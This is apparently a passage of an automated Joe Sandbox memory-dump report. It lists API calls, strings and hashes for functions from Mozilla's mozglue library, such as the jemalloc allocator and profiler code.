memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CE472

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c216d3f853127872e498182a52b53461f5855394c01305c43767d95ea88e07b
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4433AF72E4021ACFCB04CF98C8806ADBBF2FF49310F298269D955AB755D731E945CB92

Function 6C97FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7B8), ref: 6C97FF81
LeaveCriticalSection.KERNEL32(6C9EE7B8), ref: 6C98022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C980240
EnterCriticalSection.KERNEL32(6C9EE768), ref: 6C98025B
LeaveCriticalSection.KERNEL32(6C9EE768), ref: 6C98027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97FE99, 6C97FEB7, 6C97FED3, 6C980DB8, 6C980DD3, 6C9819B4
<jemalloc>, xrefs: 6C980D62, 6C980D76, 6C980DA7
: (malloc) Error in VirtualFree(), xrefs: 6C980D67, 6C980D7B, 6C980DAC

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: bff5209f1f24d3b837af5885179f1916c71004dfaee46b9b21892dd2c0d8a24c
Instruction ID: 7b221d8877f1e3165e6fe206dcba36c739388148f35621d083aa014edaa9518b
Opcode Fuzzy Hash: bff5209f1f24d3b837af5885179f1916c71004dfaee46b9b21892dd2c0d8a24c
Instruction Fuzzy Hash: 2BC2C371A077418FD714CF28C880716BBE5BF8A728F28CA6DE4698B795D771E841CB81

Function 6C9CE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9CE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9CF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9D0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9D0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D0ED4

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8b80cfa7d9a3fd4bd3f8c8bd01c264476a501494412d1b614835f72794a4b636
Instruction ID: d58e5d8ab9321ed7b52198520c31a87bd4fa81117fa56b46f4c3302579944af9
Opcode Fuzzy Hash: 8b80cfa7d9a3fd4bd3f8c8bd01c264476a501494412d1b614835f72794a4b636
Instruction Fuzzy Hash: F1639C71E0065A8FCB04CFA8C8806EDFBB2FF89314F298269D855BB755D730A945CB91

Function 6C9A3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9C7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3E7D,?,?,?,6C9A3E7D,?,?), ref: 6C9C777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C9A3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9A3F5C
VerSetConditionMask.NTDLL ref: 6C9A3F8D
VerSetConditionMask.NTDLL ref: 6C9A3F99
VerSetConditionMask.NTDLL ref: 6C9A3FA0
VerSetConditionMask.NTDLL ref: 6C9A3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9A3FB4

Strings

nvinit.dll, xrefs: 6C9A4479
nvd3d9wrap.dll, xrefs: 6C9A4466

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 8e79294dc9d8b2558f488515e618c23241d44965d72f6e8b44dc368ea57dde05
Instruction ID: d9db2e05ad89c020ab18ab052545c808f936786bbbaa743fce39077269253844
Opcode Fuzzy Hash: 8e79294dc9d8b2558f488515e618c23241d44965d72f6e8b44dc368ea57dde05
Instruction Fuzzy Hash: 3B52F472611B848FD714DF74C880AAB77F9AF65208F14096DE5938BB42DB34F90ACB60

Function 6C98ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C98EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C98EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C991695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C991770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C991A3E

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 3a230924aab56fe7e041dfcb756e7988bdbb574b1a2e7d3a76833217185b93d3
Instruction ID: 58ac3c185a0790939abd79b3fb5da30e328770ff658ae87762a03b7effe701cf
Opcode Fuzzy Hash: 3a230924aab56fe7e041dfcb756e7988bdbb574b1a2e7d3a76833217185b93d3
Instruction Fuzzy Hash: BAB32A71E0121ACFDB14CFA8C890AADB7B6FF49304F1981A9D459AB745D730AD86CF90

Function 6C97FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7B8), ref: 6C97FF81
LeaveCriticalSection.KERNEL32(6C9EE7B8), ref: 6C98022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C980240
EnterCriticalSection.KERNEL32(6C9EE768), ref: 6C98025B
LeaveCriticalSection.KERNEL32(6C9EE768), ref: 6C98027B

Strings

MOZ_CRASH(), xrefs: 6C980CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97FE99, 6C97FEB7, 6C97FED3, 6C980DB8, 6C980DD3, 6C9819B4, 6C981A10

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 8a685fee2c6a52d96f566c0bf1474ab2dac4b71d41e488a4b2facc62eba4fe64
Instruction ID: 7b8b8aaa097177d335eda028bfdcb606fb1684260865f104bf49e10d568d51a4
Opcode Fuzzy Hash: 8a685fee2c6a52d96f566c0bf1474ab2dac4b71d41e488a4b2facc62eba4fe64
Instruction Fuzzy Hash: 07B2C0716067418FD718CF29C590716BBE1BF8A328F28CA6DE96A8FB95C771D840CB40

Function 6C9B5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C9B5AC3
ProfileBuffer parse error: %s, xrefs: 6C9B5AC8, 6C9B5CBB
data, xrefs: 6C9B6131
schema, xrefs: 6C9B606D
expected a Time entry, xrefs: 6C9B5CB6
name, xrefs: 6C9B5E79, 6C9B5E8F

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: afa7780501a7864f5fdb5ed10959dd1737c1a39a329c80efeab0de8a0c9a14c5
Instruction ID: 7d003f8660a84b44d0618586ceae1dcae65d3a5396797a5e5eca18861ed5dbdd
Opcode Fuzzy Hash: afa7780501a7864f5fdb5ed10959dd1737c1a39a329c80efeab0de8a0c9a14c5
Instruction Fuzzy Hash: C8926BB1A087419FD724CF28C49079BBBE1BFD9308F15891DE599AB751DB30E809CB92

Function 6C9B2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9B2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9B3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9B36BF

Strings

get , xrefs: 6C9B3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9B378D
set , xrefs: 6C9B36EC

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 6bef3960a6bdda05fa4be7ef232fcfb35d24026afe602b5e218839815039843a
Instruction ID: d3226749d973220bd2d666b4a62b7fcccb49fc895fbf21b895538a076093b23b
Opcode Fuzzy Hash: 6bef3960a6bdda05fa4be7ef232fcfb35d24026afe602b5e218839815039843a
Instruction Fuzzy Hash: DB328EB0208781AFD324CF24C48069FB7E6BFD9318F54891DE599A7751DB30E94ACB52

Function 6C9A7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C9A8280, 6C9A83E1
schema, xrefs: 6C9A81E3, 6C9A8311
(pre-xul), xrefs: 6C9A7E88
name, xrefs: 6C9A7ECF, 6C9A8335

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: b416df43dd5ed532af6929753798ad700afc173e49fda19df7f253ed700febce
Instruction ID: 9d68f13aa6c3d4749f26215d8680c3b0c914c1e435646556d352cf76d0483218
Opcode Fuzzy Hash: b416df43dd5ed532af6929753798ad700afc173e49fda19df7f253ed700febce
Instruction Fuzzy Hash: 11E19FB1A043408FD710CF68884165BFBE9BFA9314F158A2DE895E7791DB70ED098B91

Function 6C98D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D4F2
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D50B

Part of subcall function 6C96CFE0: EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
Part of subcall function 6C96CFE0: LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D52E
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98D6A6
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D712
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C98D82C
<jemalloc>, xrefs: 6C98D827

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: ba74b235e7a4429faefd7a8573a99aea96dd6470d23a1550a831f2623ee0a569
Instruction ID: aa36dea1bc415cec6ac9dc55b4b33a3a95915be77ebb6fc5544f70e4c791609c
Opcode Fuzzy Hash: ba74b235e7a4429faefd7a8573a99aea96dd6470d23a1550a831f2623ee0a569
Instruction Fuzzy Hash: E991C072A097068FDB54CF29C49022AB7E5FFA9714F248D2FE45A87B85D730E840CB81

Function 6C985E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2
memset.VCRUNTIME140(6C9C7765,000000E5,9EC09015), ref: 6C9861F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C987652

Strings

MOZ_CRASH(), xrefs: 6C987BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C987BCD, 6C987C1F, 6C987C34, 6C9880FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9872E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C98730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9872F8

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 21f2b892cda81bbe3a3e103384874709048adbd7d17baddadad44e0807a037b4
Instruction ID: ef0e232994f97a4720211965b034ab0b2b3b809d56b292e660a808940fe7bba2
Opcode Fuzzy Hash: 21f2b892cda81bbe3a3e103384874709048adbd7d17baddadad44e0807a037b4
Instruction Fuzzy Hash: 92337C716167018FD308CF29C590715BBE2BF85328F29CAADE96A8F7A5D731E841CB41

Function 6C963480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C963492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C9634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C9634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C96350E
__Init_thread_footer.LIBCMT ref: 6C963522
__aulldiv.LIBCMT ref: 6C963552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C96357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C963592

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C963508
kernel32.dll, xrefs: 6C9634EA

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e420eb779241901bd7f3fb9bd330ba076284763eb4522cb2515681fa85d8833c
Instruction ID: 648fb938fede8a9c6fb3ecaed2b143ec0ed9b7b747dc9823ce8965afd75ab121
Opcode Fuzzy Hash: e420eb779241901bd7f3fb9bd330ba076284763eb4522cb2515681fa85d8833c
Instruction Fuzzy Hash: 2331C771B042099BDF40DFB5D848AAE7779FF6E708F24441AE505D3A90DB31D904CBA0

Function 6C9C4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9C4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4F2E
moz_xmalloc.MOZGLUE ref: 6C9C4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9C4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C52E6
Sleep.KERNEL32(00000010), ref: 6C9C5481
free.MOZGLUE(?), ref: 6C9C5498

Strings

(, xrefs: 6C9C5250

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 54e048a4752f7024aa293bb6fa67bc5032acd306c91a34d4f03200606b43e477
Instruction ID: 906b5c8a08bf72acfc951c83787694e70620791c3a60e6fdf97a3e14fa3afd2d
Opcode Fuzzy Hash: 54e048a4752f7024aa293bb6fa67bc5032acd306c91a34d4f03200606b43e477
Instruction Fuzzy Hash: 50F1A271A18B408FC716CF39C85062BB7F9AFE6284F158B2EF846A7651DB31D445CB82

Function 6C977810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C977885
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C9778A5
EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C9778AD
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C9778CD
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9778D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9778E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C97795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9779BB
LeaveCriticalSection.KERNEL32(?), ref: 6C977BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C977C82
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C977CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C977DAF

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: d22126c70770079dcdd4827d100e457dbbc1381ddc09a68813016c204bcb4de8
Instruction ID: ba170a5d3daaf6b335d6b3da00ff7b02fed92d99bee23564c8c0ce7ba07f244f
Opcode Fuzzy Hash: d22126c70770079dcdd4827d100e457dbbc1381ddc09a68813016c204bcb4de8
Instruction Fuzzy Hash: 1B027471A0521ACFDB65CF19C584799B7B5FF98314F2942AAD809A7701D730ED90CF90

Function 6C9C5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9C6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C96EE51,?), ref: 6C9C6046
OutputDebugStringA.KERNEL32(?,6C96EE51,?), ref: 6C9C6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9E148E), ref: 6C9C6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C96EE51,00000000,?), ref: 6C9C60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C60C4

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
